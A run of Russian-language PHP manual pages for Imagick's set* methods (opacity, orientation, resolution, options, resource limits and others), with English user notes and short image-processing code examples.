Устанавливает уровень непрозрачности изображения

  • « Imagick::setImageMatteColor
  • Imagick::setImageOrientation »
  • PHP Manual
  • Imagick
  • Устанавливает уровень непрозрачности изображения

Imagick::setImageOpacity

(PECL imagick 2, PECL imagick 3)

Imagick::setImageOpacity — Устанавливает уровень непрозрачности изображения

Внимание

Функция объявлена УСТАРЕВШЕЙ в Imagick 3.4.4. Полагаться на эту функцию крайне не рекомендуется.

Описание

public Imagick::setImageOpacity(float $opacity): bool

Устанавливает изображение на указанный уровень непрозрачности. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.1 или старше. Метод работает со всеми каналами, что означает, например, что значение непрозрачности 0.5 сделает все прозрачные области частично непрозрачными. Чтобы добавить прозрачности в области, которые ещё непрозрачны, используйте Imagick::evaluateImage().

Список параметров

opacity

Уровень прозрачности: 1.0 - полностью непрозрачный, а 0.0 - полностью прозрачный. transparent.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::setImageOpacity()

Пример использования Imagick::setImageOpacity().

<?php
/* Создание объекта */
$image = new Imagick('source.png');

/* Установка непрозрачности */
$image->setImageOpacity(0.7);

/* Вывод изображения */
header('Content-type: image/png');
echo $image;

?>

User Contributed Notes

hola at rafaeltovar dot info 15-Oct-2019 03:18
This function is deprecated from last stable version (3.4.4 - 2019-05-02) of PECL Imagick extension.

More info: http://pecl.php.net/package-changelog.php?package=imagick&release=3.4.4

"setImageAlpha" is the new alternative function, but doesn't work with ImageMagick < 7.

More info: https://github.com/avalanche123/Imagine/issues/715


Устанавливает ориентацию изображения

  • « Imagick::setImageOpacity
  • Imagick::setImagePage »
  • PHP Manual
  • Imagick
  • Устанавливает ориентацию изображения

Imagick::setImageOrientation

(PECL imagick 2, PECL imagick 3)

Imagick::setImageOrientation — Устанавливает ориентацию изображения

Описание

public Imagick::setImageOrientation(int $orientation): bool

Устанавливает ориентацию изображения.

Список параметров

orientation

Одна из констант ORIENTATION

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::setImageOrientation()

<?php
// Кажется, ничего не делает
function setImageOrientation($imagePath, $orientationType) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageOrientation($orientationType);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

orrd101 at yahoo dot com 20-Feb-2013 09:20
Be aware that Imagick::setImageOrientation() doesn't actually rotate the image, it just changes the EXIF rotation info that will be saved with the image. In some cases that may be what you want to do, but  if you're trying to rotate an image, this probably isn't the way you want to do it. The problem with relying on the EXIF rotation info is that many web browsers ignore and some image viewing software ignore the EXIF information and don't auto-rotate it automatically.  This function is best used to correct EXIF rotation information just before saving an image.

To actually rotate an image, use Imagick::rotateImage().

And then maybe use this function to save the correct EXIF orientation data.  For example: $image->setImageOrientation(imagick::ORIENTATION_TOPLEFT);


Устанавливает геометрию страницы изображения

  • « Imagick::setImageOrientation
  • Imagick::setImageProfile »
  • PHP Manual
  • Imagick
  • Устанавливает геометрию страницы изображения

Imagick::setImagePage

(PECL imagick 2, PECL imagick 3)

Imagick::setImagePage — Устанавливает геометрию страницы изображения

Описание

public Imagick::setImagePage(
int $width,
int $height,
int $x,
int $y
): bool

Устанавливает геометрию страницы изображения.

Список параметров

width

height

x

y

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

Darren Burnhill 19-May-2009 05:03
This would appear to be the equivalent of +repage in ImageMagick.

<?php
  $ImagickObj = new Imagick($sourceImagePath);
  $ImagickObj->cropImage($_POST['w'], $_POST['h'], $_POST['x'], $_POST['y']);
  $ImagickObj->setImagePage($_POST['w'], $_POST['h'], 0, 0);
  $ImagickObj->writeImage($cropFilePath);
?>


Добавляет именованный профиль к объекту Imagick

  • « Imagick::setImagePage
  • Imagick::setImageProperty »
  • PHP Manual
  • Imagick
  • Добавляет именованный профиль к объекту Imagick

Imagick::setImageProfile

(PECL imagick 2, PECL imagick 3)

Imagick::setImageProfile — Добавляет именованный профиль к объекту Imagick

Описание

public Imagick::setImageProfile(string $name, string $profile): bool

Добавляет именованный профиль к объекту Imagick. Если профиль с таким именем уже существует, он заменяется. Этот метод отличается от метода Imagick::ProfileImage() тем, что он не применяет какие-либо цветовые профили CMS.

Список параметров

name

profile

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает свойство изображения

  • « Imagick::setImageProfile
  • Imagick::setImageRedPrimary »
  • PHP Manual
  • Imagick
  • Устанавливает свойство изображения

Imagick::setImageProperty

(PECL imagick 2, PECL imagick 3)

Imagick::setImageProperty — Устанавливает свойство изображения

Описание

public Imagick::setImageProperty(string $name, string $value): bool

Устанавливает именованное свойство изображения. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.2 или старше.

Список параметров

name

value

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::setImageProperty()

Установка и получение свойств изображения

<?php
$image = new Imagick();
$image->newImage(300, 200, "black");

$image->setImageProperty('Exif:Make', 'Imagick');
echo $image->getImageProperty('Exif:Make');
?>

Смотрите также

  • Imagick::getImageProperty() - Возвращает именованное свойство изображения

User Contributed Notes

Jocke Selin 15-Nov-2018 06:23
Please be aware that only 'comment' values are written to the file if it's a JPEG. This means that any other data, such as GPS data or Exif data can be 'modified' but will not be written to the file.  This might change in the future, but it hasn't change in 2 years.

For reference.
https://github.com/mkoppanen/imagick/issues/124
https://github.com/ImageMagick/ImageMagick/issues/55


Устанавливает красную первичную точку цветности изображения

  • « Imagick::setImageProperty
  • Imagick::setImageRenderingIntent »
  • PHP Manual
  • Imagick
  • Устанавливает красную первичную точку цветности изображения

Imagick::setImageRedPrimary

(PECL imagick 2, PECL imagick 3)

Imagick::setImageRedPrimary — Устанавливает красную первичную точку цветности изображения

Описание

public Imagick::setImageRedPrimary(float $x, float $y): bool

Устанавливает красную первичную точку цветности изображения.

Список параметров

x

y

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает схему цветопередачи изображения

  • « Imagick::setImageRedPrimary
  • Imagick::setImageResolution »
  • PHP Manual
  • Imagick
  • Устанавливает схему цветопередачи изображения

Imagick::setImageRenderingIntent

(PECL imagick 2, PECL imagick 3)

Imagick::setImageRenderingIntent — Устанавливает схему цветопередачи изображения

Описание

public Imagick::setImageRenderingIntent(int $rendering_intent): bool

Устанавливает схему цветопередачи изображения.

Список параметров

rendering_intent

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает разрешение изображения

  • « Imagick::setImageRenderingIntent
  • Imagick::setImageScene »
  • PHP Manual
  • Imagick
  • Устанавливает разрешение изображения

Imagick::setImageResolution

(PECL imagick 2, PECL imagick 3)

Imagick::setImageResolution — Устанавливает разрешение изображения

Описание

public Imagick::setImageResolution(float $x_resolution, float $y_resolution): bool

Устанавливает разрешение изображения.

Список параметров

x_resolution

y_resolution

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

Примеры

Пример #1 Пример использования Imagick::setImageResolution()

<?php
function setImageResolution($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageResolution(50, 50);

header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

craig dot fairhurst at nospamyouds dot com 12-Feb-2010 10:12
Note that any changes to the resolution (-density option) must be made before specifying the file, so construct the object with no file path and then use $object->readImage('path/to/file'); otherwise the density won't change.
Also see Imagick::setResolution.
octave at web dot de 17-Jul-2009 09:27
This method uses the ImageMagick "-density {$x_resolution}x{$y_resolution}" parameter


Устанавливает сцену изображения

  • « Imagick::setImageResolution
  • Imagick::setImageTicksPerSecond »
  • PHP Manual
  • Imagick
  • Устанавливает сцену изображения

Imagick::setImageScene

(PECL imagick 2, PECL imagick 3)

Imagick::setImageScene — Устанавливает сцену изображения

Описание

public Imagick::setImageScene(int $scene): bool

Устанавливает сцену изображения.

Список параметров

scene

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает продолжительность отображения кадра

  • « Imagick::setImageScene
  • Imagick::setImageType »
  • PHP Manual
  • Imagick
  • Устанавливает продолжительность отображения кадра

Imagick::setImageTicksPerSecond

(PECL imagick 2, PECL imagick 3)

Imagick::setImageTicksPerSecond — Устанавливает продолжительность отображения кадра

Описание

public Imagick::setImageTicksPerSecond(int $ticks_per_second): bool

Регулирует продолжительность отображения кадра анимированного изображения.

Замечание:

Для анимированных GIF-изображений эта функция не изменяет количество "тактов изображения" в секунду, которое всегда определяется как 100. Вместо этого она регулирует количество времени, в течение которого отображается кадр, чтобы имитировать изменение "тактов в секунду".

Например, для анимированного GIF-изображения, где каждый кадр отображается в течение 20 тактов (1/5 секунды), когда вызывается этот метод для каждого кадра этого изображения с аргументом 50, кадры корректируются и будут отображаться в течение 40 тактов (2/5 секунды) и анимация будет воспроизводиться с половиной исходной скорости.

Список параметров

ticks_per_second

Продолжительность, в течение которой должно отображаться изображение, выражается в тактах в секунду.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Изменение анимированного GIF-изображения с помощью Imagick::setImageTicksPerSecond()

<?php

// Изменение анимированного gif-изображения так, чтобы первая половина gif воспроизводилась с половинной скоростью,
// а вторая половина воспроизводилась с удвоенной скоростью.

$imagick = new Imagick(realpath("Test.gif"));
$imagick = $imagick->coalesceImages();

$totalFrames = $imagick->getNumberImages();

$frameCount = 0;

foreach ($imagick as $frame) {
$imagick->setImageTicksPerSecond(50);

if ($frameCount < ($totalFrames / 2)) {
// Измените кадр так, чтобы он отображался вдвое дольше, чем сейчас.
$imagick->setImageTicksPerSecond(50);
} else {
// Измените кадр так, чтобы он отображался вдвое меньше, чем сейчас.
$imagick->setImageTicksPerSecond(200);
}

$frameCount++;
}

$imagick = $imagick->deconstructImages();

$imagick->writeImages("/path/to/save/output.gif", true);

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает тип изображения

  • « Imagick::setImageTicksPerSecond
  • Imagick::setImageUnits »
  • PHP Manual
  • Imagick
  • Устанавливает тип изображения

Imagick::setImageType

(PECL imagick 2, PECL imagick 3)

Imagick::setImageType — Устанавливает тип изображения

Описание

public Imagick::setImageType(int $image_type): bool

Устанавливает тип изображения.

Список параметров

image_type

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

Simon J 24-Mar-2020 12:55
The different image types that can be specified are (from the Imagick::getImageType doc page):

    Imagick::IMGTYPE_UNDEFINED
    Imagick::IMGTYPE_BILEVEL
    Imagick::IMGTYPE_GRAYSCALE
    Imagick::IMGTYPE_GRAYSCALEMATTE
    Imagick::IMGTYPE_PALETTE
    Imagick::IMGTYPE_PALETTEMATTE
    Imagick::IMGTYPE_TRUECOLOR
    Imagick::IMGTYPE_TRUECOLORMATTE
    Imagick::IMGTYPE_COLORSEPARATION
    Imagick::IMGTYPE_COLORSEPARATIONMATTE
    Imagick::IMGTYPE_OPTIMIZE

The MATTE variants are equivalent to GrayscaleAlpha, etc. in the ImageMagick command line. If you're making something grayscale, I would recommend using IMGTYPE_GRAYSCALEMATTE.

<?php

$im->setImageType(Imagick::IMGTYPE_GRAYSCALEMATTE);

?>
quickshiftin at gmail dot com 04-Oct-2014 06:29
The cleaner way to set the type to grayscale is to use the Imagick class constant.

$oBw = new \Imagick($sSourceImage);
$oBw->setImageType(\Imagick::IMGTYPE_GRAYSCALE);

I've found this to be a rather harsh 'convert to grayscale' approach. Fred's color2gray script works much better, but it's written in Bash. Time to get it ported over lol

http://www.fmwconcepts.com/imagemagick/color2gray/index.php
lee dot traynor at skeptic dot de 19-Oct-2011 01:37
This function can be used to desaturate an image, i.e. to convert a coloured image into a greyscale:

<?php

$im = new Imagick ("image.jpg");
$im->setImageType (2);
//is now in 256 shades of grey

?>


Устанавливает единицы измерения разрешения изображения

  • « Imagick::setImageType
  • Imagick::setImageVirtualPixelMethod »
  • PHP Manual
  • Imagick
  • Устанавливает единицы измерения разрешения изображения

Imagick::setImageUnits

(PECL imagick 2, PECL imagick 3)

Imagick::setImageUnits — Устанавливает единицы измерения разрешения изображения

Описание

public Imagick::setImageUnits(int $units): bool

Устанавливает единицы измерения разрешения изображения.

Список параметров

units

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

euperia at gmail dot com 07-Nov-2012 08:20
You should use the PHP Imagick constants to correctly set the Image Units, as described here:

http://www.php.net/manual/en/imagick.constants.php

RESOLUTION constants

imagick::RESOLUTION_UNDEFINED (integer)
imagick::RESOLUTION_PIXELSPERINCH (integer)
imagick::RESOLUTION_PIXELSPERCENTIMETER (integer)
salomonsanz at gmail dot com 08-Dec-2008 12:56
$source = 'miphoto.jpg';
$imagick = new Imagick($source);
$imagick -> setImageUnits(2);
//0=undefined, 1=pixelsperInch, 2=PixelsPerCentimeter
$info = $imagick -> identifyImage();
print_r($info);
//ouput
/*
Array
(
[units] => PixelsPerCentimeter
)


Устанавливает метод виртуального пикселя

  • « Imagick::setImageUnits
  • Imagick::setImageWhitePoint »
  • PHP Manual
  • Imagick
  • Устанавливает метод виртуального пикселя

Imagick::setImageVirtualPixelMethod

(PECL imagick 2, PECL imagick 3)

Imagick::setImageVirtualPixelMethod — Устанавливает метод виртуального пикселя

Описание

public Imagick::setImageVirtualPixelMethod(int $method): bool

Устанавливает метод виртуального пикселя.

Список параметров

method

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

m dot junaidahmad at outlook dot com 28-Jul-2017 06:10
<?php

  $im = new \Imagick();

        /* read image (914x784)*/

     $im->readImage($_SERVER['DOCUMENT_ROOT']."/pathtoimage/".$inputfront);

        $im->setImageBackgroundColor(new \ImagickPixel('transparent'));  /* sets backgound to none (transparent) */

        $im->setImageVirtualPixelMethod(1); /* this is equal to -virtual-pixel background (in imagemagick) */

   /* Control points for the distortion */

        $controlPoints = array( 0,0,
            280,0,

            994,0,
            914,50,

            994,862,
            784,842,

            0,862,
            110,762);

        /* Perform the distortion */
        $im->distortImage(\Imagick::DISTORTION_PERSPECTIVE, $controlPoints, true);

        /* Ouput the image */
        $output_front_distort="Projects/".$userid."/".$projectid."/distorted_book.png";

       header("Content-Type: image/png");
        $im->writeImage($_SERVER['DOCUMENT_ROOT']."/designerr/public/".$output_front_distort);

?>


Устанавливает белую точку цветности изображения

  • « Imagick::setImageVirtualPixelMethod
  • Imagick::setInterlaceScheme »
  • PHP Manual
  • Imagick
  • Устанавливает белую точку цветности изображения

Imagick::setImageWhitePoint

(PECL imagick 2, PECL imagick 3)

Imagick::setImageWhitePoint — Устанавливает белую точку цветности изображения

Описание

public Imagick::setImageWhitePoint(float $x, float $y): bool

Устанавливает белую точку цветности изображения.

Список параметров

x

y

Возвращаемые значения

В случае успешной работы возвращает true.

Ошибки

Вызывает ImagickException в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает сжатие изображения

  • « Imagick::setImageWhitePoint
  • Imagick::setIteratorIndex »
  • PHP Manual
  • Imagick
  • Устанавливает сжатие изображения

Imagick::setInterlaceScheme

(PECL imagick 2, PECL imagick 3)

Imagick::setInterlaceScheme — Устанавливает сжатие изображения

Описание

public Imagick::setInterlaceScheme(int $interlace_scheme): bool

Устанавливает сжатие изображения.

Список параметров

interlace_scheme

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

hayvanAdam 12-May-2008 03:24
save progressive jpeg

<?php

$image = new Imagick('image.jpg');
$image->thumbnailImage(500, 0);

$image->setInterlaceScheme(Imagick::INTERLACE_PLANE);

$image->writeImage('progressive.jpg');

?>


Устанавливает позицию итератора

  • « Imagick::setInterlaceScheme
  • Imagick::setLastIterator »
  • PHP Manual
  • Imagick
  • Устанавливает позицию итератора

Imagick::setIteratorIndex

(PECL imagick 2, PECL imagick 3)

Imagick::setIteratorIndex — Устанавливает позицию итератора

Описание

public Imagick::setIteratorIndex(int $index): bool

Устанавливает итератор в позицию в списке изображений, указанную с помощью параметра index. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.2.9 или старше.

Список параметров

index

Позиция для установки итератора.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::setIteratorIndex():

Создание изображения, установка и получение индекса итератора

<?php
$im = new Imagick();
$im->newImage(100, 100, new ImagickPixel("red"));
$im->newImage(100, 100, new ImagickPixel("green"));
$im->newImage(100, 100, new ImagickPixel("blue"));

$im->setIteratorIndex(1);
echo $im->getIteratorIndex();
?>

Смотрите также

  • Imagick::getIteratorIndex() - Возвращает индекс текущего активного изображения
  • Imagick::getImageIndex() - Возвращает индекс текущего активного изображения
  • Imagick::setImageIndex() - Устанавливает позицию итератора

User Contributed Notes

wilcobeekhuizen at gmail dot com 14-Mar-2011 10:06
This function returns true on success but setting the iterator to an invalid index throws an exception instead of returning false:
Fatal error: Uncaught exception 'ImagickException' with message 'Unable to set iterator index'

This can happen when counting images inside a gif file, because the iterator count starts at zero and not one. If you count the number of images in a gif file be sure to use iterator 0 for the first image, like this:

<?php
$image = new Imagick('simple.gif');
$image->setIteratorIndex(0);
?>


Устанавливает итератор Imagick к последнему изображению

  • « Imagick::setIteratorIndex
  • Imagick::setOption »
  • PHP Manual
  • Imagick
  • Устанавливает итератор Imagick к последнему изображению

Imagick::setLastIterator

(PECL imagick 2 >= 2.0.1, PECL imagick 3)

Imagick::setLastIterator — Устанавливает итератор Imagick к последнему изображению

Описание

public Imagick::setLastIterator(): bool

Устанавливает итератор Imagick к последнему изображению.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает опцию

  • « Imagick::setLastIterator
  • Imagick::setPage »
  • PHP Manual
  • Imagick
  • Устанавливает опцию

Imagick::setOption

(PECL imagick 2, PECL imagick 3)

Imagick::setOption — Устанавливает опцию

Описание

public Imagick::setOption(string $key, string $value): bool

Связывает одну или несколько опций с палочкой.

Список параметров

key

value

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Попытка достичь размера '$extent' Imagick::setOption()

<?php
function renderJPG($extent) {
$imagePath = $this->control->getImagePath();
$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageFormat('jpg');
$imagick->setOption('jpeg:extent', $extent);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

Пример #2 Пример использования Imagick::setOption()

<?php
function renderPNG($imagePath, $format) {

$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageFormat('png');
$imagick->setOption('png:format', $format);
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

//Сохранение в виде 64bit PNG.
renderPNG($imagePath, 'png64');

?>

Пример #3 Пример использования Imagick::setOption()

<?php
function renderCustomBitDepthPNG() {
$imagePath = $this->control->getImagePath();
$imagick = new \Imagick(realpath($imagePath));
$imagick->setImageFormat('png');

$imagick->setOption('png:bit-depth', '16');
$imagick->setOption('png:color-type', 6);
header("Content-Type: image/png");
$crash = true;
if ($crash) {
echo $imagick->getImageBlob();
}
else {
$tempFilename = tempnam('./', 'imagick');
$imagick->writeimage(realpath($tempFilename));
echo file_get_contents($tempFilename);
}
}

?>

User Contributed Notes

SkepticaLee 29-Mar-2020 07:17
Actually setImageArtifact () can be used if setOption () fails, e.g.

$im->setImageartifact ("distort:viewport", "960x540+0-151");

Or maybe setOption () is deprecated.
kicha at kreker dot org 24-Sep-2015 02:48
List of options (with key => value) on official imagemagick site:
http://www.imagemagick.org/script/command-line-options.php#define
alexandre at gaigalas dot net 11-Jul-2011 02:43
If you want to extract a preview from a PDF file using the CropBox instead of the whole document, setOption() is the right method:

<?php
$handler = new Imagick();
$handler->setOption('pdf:use-cropbox', 'true');
$handler->readImage($imageFileName);
$handler->thumbnailImage(200, 200, true);
$handler->setImageFormat('jpeg');
$handler->writeImage($destThumbFileName);
?>

It is the equivalent to the -define pdf:use-cropbox=true for the convert command line tool. pdf:use-trimbox is also available.

Note that on my environment the setOption only worked when i called it before the readImage method, which means that you can't pass the filename to the Imagick constructor directly.


Устанавливает геометрию страницы объекта Imagick

  • « Imagick::setOption
  • Imagick::setPointSize »
  • PHP Manual
  • Imagick
  • Устанавливает геометрию страницы объекта Imagick

Imagick::setPage

(PECL imagick 2, PECL imagick 3)

Imagick::setPage — Устанавливает геометрию страницы объекта Imagick

Описание

public Imagick::setPage(
int $width,
int $height,
int $x,
int $y
): bool

Устанавливает геометрию страницы объекта Imagick.

Список параметров

width

height

x

y

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает размер точки

  • « Imagick::setPage
  • Imagick::setProgressMonitor »
  • PHP Manual
  • Imagick
  • Устанавливает размер точки

Imagick::setPointSize

(PECL imagick 2 >= 2.1.0, PECL imagick 3)

Imagick::setPointSize — Устанавливает размер точки

Описание

public Imagick::setPointSize(float $point_size): bool

Устанавливает объекту свойство размера точки. Метод можно использовать, например, для установки размера шрифта для caption: формата псевдоизображений. Этот метод доступен, если Imagick был скомпилирован с версией ImageMagick 6.3.7 или старше.

Список параметров

point_size

Размер точки.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::setPointSize()

Пример использования Imagick::setPointSize

<?php
/* Создание нового объекта Imagick */
$im = new Imagick();

/* Установка шрифта для объекта */
$im->setFont("example.ttf");

/* Установка размера */
$im->setPointSize(12);

/* Создание заголовка */
$im->newPseudoImage(100, 100, "caption:Hello");

/* Работа с изображением */
?>

Смотрите также

  • Imagick::getPointSize() - Возвращает размер точки

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает callback-функцию, которая будет вызываться во время обработки изображения Imagick

  • « Imagick::setPointSize
  • Imagick::setRegistry »
  • PHP Manual
  • Imagick
  • Устанавливает callback-функцию, которая будет вызываться во время обработки изображения Imagick

Imagick::setProgressMonitor

(PECL imagick 3 >= 3.3.0)

Imagick::setProgressMonitor — Устанавливает callback-функцию, которая будет вызываться во время обработки изображения Imagick

Описание

public Imagick::setProgressMonitor(callable $callback): bool

Устанавливает callback-функцию, которая будет вызываться во время обработки изображения Imagick.

Список параметров

callback

Callback-функция прогресса для вызова. Она должна вернуть true, если обработка изображения должна продолжаться, или false, если её нужно отменить. Параметр offset указывает прогресс, а параметр span - общий объем работы, который необходимо выполнить.

callback ( mixed $offset , mixed $span ): bool
Предостережение

Значения, передаваемые в callback-функцию, не согласованы. В частности, параметр span может увеличиваться во время обработки изображения. Из-за этого вычисление прогресса выполнения операции с изображением в процентах не является тривиальным.

Возвращаемые значения

В случае успешной работы возвращает true.

Примеры

Пример #1 Пример использования Imagick::setProgressMonitor()

<?php
$abortReason = null;

try {
$imagick = new \Imagick(realpath($this->control->getImagePath()));
$startTime = time();

$callback = function ($offset, $span) use ($startTime, &$abortReason) {
if (((100 * $offset) / $span) > 20) {
$abortReason = "Обработка достигла 20%";
return false;
}

$nowTime = time();

if ($nowTime - $startTime > 5) {
$abortReason = "Обработка изображения заняла более 5 секунд";
return false;
}
if (($offset % 5) == 0) {
echo "Прогресс: $offset / $span <br/>";
}
return true;
};

$imagick->setProgressMonitor($callback);

$imagick->waveImage(2, 15);

echo "Длина данных: ".strlen($imagick->getImageBlob());
}
catch(\ImagickException $e) {
if ($abortReason != null) {
echo "Обработка изображения была прервана: ".$abortReason."<br/>";
}
else {
echo "Поймано исключение ImagickException: ".$e->getMessage()." Тип исключения - ".get_class($e);
}
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает значение для записи реестра ImageMagick с именем key

  • « Imagick::setProgressMonitor
  • Imagick::setResolution »
  • PHP Manual
  • Imagick
  • Устанавливает значение для записи реестра ImageMagick с именем key

Imagick::setRegistry

(PECL imagick 3 >= 3.3.0)

Imagick::setRegistry — Устанавливает значение для записи реестра ImageMagick с именем key

Описание

public static Imagick::setRegistry(string $key, string $value): bool

Устанавливает значение для записи реестра ImageMagick с именем key. Наиболее полезно для установки временного пути, который определяет, где ImageMagick создаёт временные изображения, например, при обработке PDF-файлов.

Список параметров

key

value

Возвращаемые значения

В случае успешной работы возвращает true.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает разрешение изображения

  • « Imagick::setRegistry
  • Imagick::setResourceLimit »
  • PHP Manual
  • Imagick
  • Устанавливает разрешение изображения

Imagick::setResolution

(PECL imagick 2, PECL imagick 3)

Imagick::setResolution — Устанавливает разрешение изображения

Описание

public Imagick::setResolution(float $x_resolution, float $y_resolution): bool

Устанавливает разрешение изображения.

Список параметров

x_resolution

Горизонтальное разрешение.

y_resolution

Вертикальное разрешение.

Возвращаемые значения

В случае успешной работы возвращает true.

Примечания

Imagick::setResolution() необходимо вызывать перед загрузкой или созданием изображения.

Смотрите также

  • Imagick::setImageResolution() - Устанавливает разрешение изображения
  • Imagick::getImageResolution() - Возвращает разрешение изображения по X и Y

User Contributed Notes

carter dot sharon at gmail dot com 11-Oct-2010 11:07
If you are reading or creating a new image and want to set the resolution you need to set the Image Units. Undefined image units will cause imagick to use the default resolution (72x72).

<?php
$img = new Imagick();

$img->setResolution(300,300);
$img->newimage(100,100,'none');
$img->setImageFormat('png');
// imagick::RESOLUTION_UNDEFINED  imagick::RESOLUTION_PIXELSPERINCH  imagick::RESOLUTION_PIXELSPERCENTIMETER

$img->setImageUnits(imagick::RESOLUTION_PIXELSPERINCH);

print_r($img->identifyImage());

?>

Output
Array (
[resolution] => Array ( [x] => 300 [y] => 300 )
[units] => PixelsPerInch
)
sualk at lednew dot de 07-Jan-2010 06:50
This method uses the "convert -density {$x_resolution}x{$y_resolution}" parameter. However be aware, that Imagick::setResolution() is much more alike the "convert -density" option than Imagick::setImageResolution()

It's very irritating that both Imagick::setResolution() and Imagick::setImageResolution() are introduced with "Sets the image resolution."

Use Imagick::setResolution() prior to reading a raster image. This method does not affect an image. However this method tells the image to which size it has to be sized in relation to images inherent resolution! With this method you are able to affect the real pixel-size of an image after reading. E.g. your image has a size of 100x100 pixels and an inherent resolution of 72. Setting the Resolution to 144 and reading this image results in a new image size of 200x200 pixels.

<?php
$im = new Imagick();
$im->setResolution(144,144);
$im->readImage("test.eps");
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;
?>

Use Imagick::setImageResolution() to alter the resolution of an already read image. This method does not actually change the size of an image, but has influence to methods, which depends on a given image resolution like Imagick::resampleImage(). E.g. your image has a size of 100x100 pixels and a resolution of 72. Setting ImageResolution to 144 does nothing, unless you are resampling image afterwards in relation to the ImageResolution you set!

<?php
$im = new Imagick();
$im->readImage("test.eps");
$im->setImageResolution(144,144);
$im->resampleImage  (288,288,imagick::FILTER_UNDEFINED,1);
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;
?>

which actually does the same like

<?php
$im = new Imagick();
$im->readImage("test.eps");
$im->setImageResolution(72,72);
$im->resampleImage  (144,144,imagick::FILTER_UNDEFINED,1);
$im->setImageFormat("png");
header("Content-Type: image/png");
echo $im;
?>


Устанавливает лимит для конкретного ресурса

  • « Imagick::setResolution
  • Imagick::setSamplingFactors »
  • PHP Manual
  • Imagick
  • Устанавливает лимит для конкретного ресурса

Imagick::setResourceLimit

(PECL imagick 2, PECL imagick 3)

Imagick::setResourceLimit — Устанавливает лимит для конкретного ресурса

Описание

public static Imagick::setResourceLimit(int $type, int $limit): bool

Данный метод используется для изменения лимита ресурсов исходной библиотеки ImageMagick.

Список параметров

type

Обратитесь к списку констант RESOURCETYPE.

limit

Одна из констант RESOURCETYPE. Единица измерения зависит от типа ограничиваемого ресурса.

Возвращаемые значения

В случае успешной работы возвращает true.

Смотрите также

  • Imagick::getResourceLimit() - Возвращает заданный лимит ресурсов

User Contributed Notes

anonymous 16-Nov-2023 12:18
Note that Imagick::setResourceLimit may return success without actually changing the limits (verify with Imagick::getResourceLimit). This is at least true for Imagick::RESOURCETYPE_WIDTH and Imagick::RESOURCETYPE_HEIGHT, where values exceeding the limits defined in policy.xml are silently ignored.
raphael dot droz at gmail dot com 18-Feb-2021 04:01
Here are the RESOURCETYPE actually supported by today:
https://github.com/Imagick/imagick/blob/master/imagick_helpers.c
https://github.com/Imagick/imagick/blob/master/ChangeLog

Added in 3.3:
* Imagick::RESOURCETYPE_TIME
* Imagick::RESOURCETYPE_THROTTLE

Added in 3.2:
* Imagick::RESOURCETYPE_THREAD
Anonymous user 12-May-2014 08:30
Note that the limits are given in bytes instead of megabytes. You can verify with:

<?php echo Imagick::getResourceLimit(Imagick::RESOURCETYPE_MEMORY); ?>
Arkadiy Kulev 13-Feb-2012 11:54
This list should help setting the limits:

imagick::RESOURCETYPE_AREA (integer)   //equivalent of MAGICK_AREA_LIMIT
imagick::RESOURCETYPE_DISK (integer)   //equivalent of MAGICK_DISK_LIMIT
imagick::RESOURCETYPE_FILE (integer)   //equivalent of MAGICK_FILE_LIMIT
imagick::RESOURCETYPE_MAP (integer)    //equivalent of MAGICK_MAP_LIMIT
imagick::RESOURCETYPE_MEMORY (integer) //equivalent of MAGICK_MEMORY_LIMIT
rodneyrehm 08-Nov-2011 12:00
IMagick::RESOURCETYPE_THREADS is missing, yet you're still able to limit the number of thready ImageMagick should use:

<?php
// IMagick::setResourceLimit(IMagick::RESOURCETYPE_THREADS, 2);
IMagick::setResourceLimit(6, 2);


Устанавливает коэффициенты выборки изображений

  • « Imagick::setResourceLimit
